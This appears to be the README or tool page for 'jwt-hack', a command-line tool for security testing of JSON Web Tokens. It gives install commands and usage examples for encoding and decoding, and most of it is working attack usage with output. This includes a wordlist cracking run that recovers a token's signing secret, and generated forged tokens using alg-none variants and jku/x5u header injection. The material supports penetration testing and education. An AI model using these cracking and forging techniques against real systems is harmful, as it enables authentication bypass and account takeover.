JWT-Hack – Tool To En/Decoding JWT, Generate Payload For JWT Attack And Very Fast Cracking(Dict/Brutefoce)
[*]
jwt-hack is tool for hacking / security testing to JWT. Supported for En/decoding JWT, Generate payload for JWT attack and very fast cracking(dict/brutefoce)
Installation
go-get(dev version)
$ go get -u github.com/hahwul/jwt-hack
homebrew
$ brew tap hahwul/jwt-hack
$ brew install jwt-hack
snapcraft
$ sudo snap install jwt-hack
Usage
d8p 8d8 d88 888888888 888 888 ,8b. doooooo 888 ,dP
88p 888,o.d88 '88d ______ 88888888 88'8o d88 888o8P'
88P 888P`Y8b8 '888 XXXXXX 88P 888 88PPY8. d88 888 Y8L
88888' 88P YP8 '88p 88P 888 8b `Y' d888888 888 `8p
-------------------------
Hack the JWT(JSON Web Token) | by @hahwul | v1.0.0
Usage:
jwt-hack [command]
Available Commands:
crack Cracking JWT Token
decode Decode JWT to JSON
encode Encode json to JWT
help Help about any command
payload Genera te JWT Attack payloads
version Show version
Flags:
-h, --help help for jwt-hack
Encode mode(JSON to JWT)
$ jwt-hack encode '"json":"format"' --secret=YOUR_SECRET
e.g
$ jwt-hack encode '"test":"1234"' --secret=asdf
d8p 8d8 d88 888888888 888 888 ,8b. doooooo 888 ,dP
88p 888,o.d88 '88d ______ 88888888 88'8o d88 888o8P'
88P 888P`Y8b8 '888 XXXXXX 88P 888 88PPY8. d88 888 Y8L
88888' 88P YP8 '88p 88P 888 8b `Y' d888888 888 `8p
-------------------------
INFO[0000] Encoded result algorithm=HS256
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZXN0IjoiMTIzNCJ9.JOL1SYkRZYUz9GVny-DgoDj60C0RLz929h1_fFcpqQA
Decode mode(JWT to JSON)
$ jwt-hack decode JWT_CODE
e.g
$ jwt-hack decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
d8p 8d8 d88 888888888 888 888 ,8b. doooooo 888 ,dP
88p 888,o.d88 '88d ______ 88888888 88'8o d88 888o8P'
88P 888P`Y8b8 '888 XXXXXX 88P 888 88PPY8. d88 888 Y8L
88888' 88P YP8 '88p 88P 888 8b `Y' d888888 888 `8p
-------------------------
INFO[0000] Decoded data(claims) header=""alg":"HS256","typ":"JWT"" method="&HS256 5"
"iat":1516239022,"name":"John Doe","sub":"1234567890"
Crack mode(Dictionary attack / BruteForce)
$ jwt-hack crack -w WORDLIST JWT_CODE
e.g
$ jwt-hack crack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.5mhBHqs5_DTLdINd9p5m7ZJ6XD0Xc55kIaCRY5r6HRA -w samples/wordlist.txt
d8p 8d8 d88 888888888 888 888 ,8b. doooooo 888 ,dP
88p 888,o.d88 '88d ______ 88888888 88'8o d88 888o8P'
88P 888P`Y8b8 '888 XXXXXX 88P 888 88PPY8. d88 888 Y8L
88888' 88P YP8 '88p 88P 888 8b `Y' d888888 888 `8p
-------------------------
[*] Start dict cracking mode
INFO[0000] Loaded words (remove duplicated) size=16
INFO[0000] Invalid signature word=fas
INFO[0000] Invalid signature word=asd
INFO[0000] Invalid signature word=1234
INFO[0000] Invalid signature word=efq
INFO[0000] Invalid signature word=asdf
INFO[0000] Invalid signature word=2q
INFO[0000] Found! Token signature secret is test Signature=Verified Word=test
INFO[0000] Invalid signature word=dfas
INFO[0000] Invalid signature word=ga
INFO[0000] Invalid signature word=f
INFO[0000] Invalid signature word=ds
INFO[0000] Invalid signature word=sad
INFO[0000] Invalid signature word=qsf
...
INFO[0000] Invalid signature word=password
INFO[0000] Invalid signature word=error
INFO[0000] Invalid signature word=calendar
[+] Found! JWT signature secret: test
[+] Finish crack mode
Payload mode(Alg none attack, etc..)
$ jwt-hack payload JWT_CODE
e.g
$ jwt-hack payload eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.5mhBHqs5_DTLdINd9p5m7ZJ6XD0Xc55kIaCRY5r6HRA
d8p 8d8 d88 888888888 888 888 ,8b. doooooo 888 ,dP
88p 888,o.d88 '88d ______ 88888888 88'8o d88 888o8P'
88P 888P`Y8b8 '888 XXXXXX 88P 888 88PPY8. d88 888 Y8L
88888' 88P YP8 '88p 88P 888 8b `Y' d888888 888 `8p
-------------------------
payload called
INFO[0000] Generate none payload header=""alg":"none","typ":"JWT"" payload=none
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.
INFO[0000] Generate NonE payload header=""alg":"NonE","typ":"JWT"" payload=NonE
eyJhbGciOiJOb25FIiwidHlwIjoiSldUIn0=.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDI yfQ.
INFO[0000] Generate NONE payload header=""alg":"NONE","typ":"JWT"" payload=NONE
eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0=.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.
INFO[0000] Generate jku payload header=""alg":"hs256","jku":"https://www.google.com","typ":"JWT"" payload=jku
eyJhbGciOiJoczI1NiIsImprdSI6Imh0dHBzOi8vd3d3Lmdvb2dsZS5jb20iLCJ0eXAiOiJKV1QifQ==.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.
INFO[0000] Generate x5u payload header=""alg":"hs256","x5u":"https://www.google.com","typ":"JWT"" payload=x5u
eyJhbGciOiJoczI1NiIsIng1dSI6Imh0dHBzOi8vd3d3Lmdvb2dsZS5jb20iLCJ0eXAiOiJKV1QifQ==.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.
